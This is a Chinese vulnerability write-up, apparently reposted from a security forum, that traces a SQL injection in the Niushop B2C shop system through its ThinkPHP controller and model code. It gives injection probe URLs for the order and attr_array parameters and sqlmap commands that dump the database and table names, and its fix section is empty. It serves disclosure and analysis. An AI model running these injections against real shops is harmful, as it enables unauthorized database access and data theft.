0x01 前言
Niushop B2C商城系统基于ThinkPHP5.0开发,源码全部开放(100%),商用免费,四网合一,满足用户、企业、开发者、服务商等角色要求
0x02 代码分析
跟踪到/Application/(wap/shop)/Controller/Goods.php中的ajaxGoodsList方法
-
924 Line: 使用count函数获取$attr_array数组中的元素个数并赋值给$array_count
-
925 Line: 定义$goodsid_str变量
-
926 Line: 定义$attr_str_where变量
-
927 Line: 判断数组$attr_array是否为空
-
929 Line: 循环$attr_array数组$k表示键、$v表示值
-
930 Line: 判断$attr_str_where是否为空
-
931 Line: 将$v[2]、$v[1]拼接到SQL语句中
-
932 Line: 将$v[2]、$v[1]拼接到SQL语句中
-
936 Line: 判断$attr_str_where是否不为空
-
937 Line: 调用$goods中的getGoodsAttributeQuery方法并将$attr_str_where传入
跟踪到/data/service/Goods.php中的getGoodsAttributeQuery方法
-
3959 Line: 实例化NsGoodsAttributeModel模型并赋给$goods_attribute
-
3960 Line: 调用对象$goods_attribute中的getQuery并将$condition传入
跟踪到/data/Model/BaseModel.php中的getQuery方法
-
这里直接将传入的语句带入查询了,造成了SQL注入
-
1029 Line:将外部传入的$order传入$goods中的getGoodsListNew方法
跟踪到/data/service/Goods.php中的getGoodsListNew方法
-
4910 Line: 从头往下看参数$order未被过滤,传入到了模型$goods_model中的viewPageQueryNew方法
跟踪到/data/Model/BaseModel.php中的viewPageQueryNew方法
-
这里直接将$order带入查询了,造成了SQL注入
# 0x03 漏洞探测
order参数:
http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7%27&attr_array[][2]=8&spec_array[]=9
attr_array参数:
http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8%27&spec_array[]=9
两个参数均可触发该漏洞
0x04 漏洞复现
sqlmap -u "http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql"
sqlmap -u "http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql" --current-db
sqlmap -u "http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql" -D niushop_b2c --tables
0x05 漏洞修复
来源:https://xz.aliyun.com/ 感谢【Onlywait】
原文始发于微信公众号(船山信安):某Shop前台SQL注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论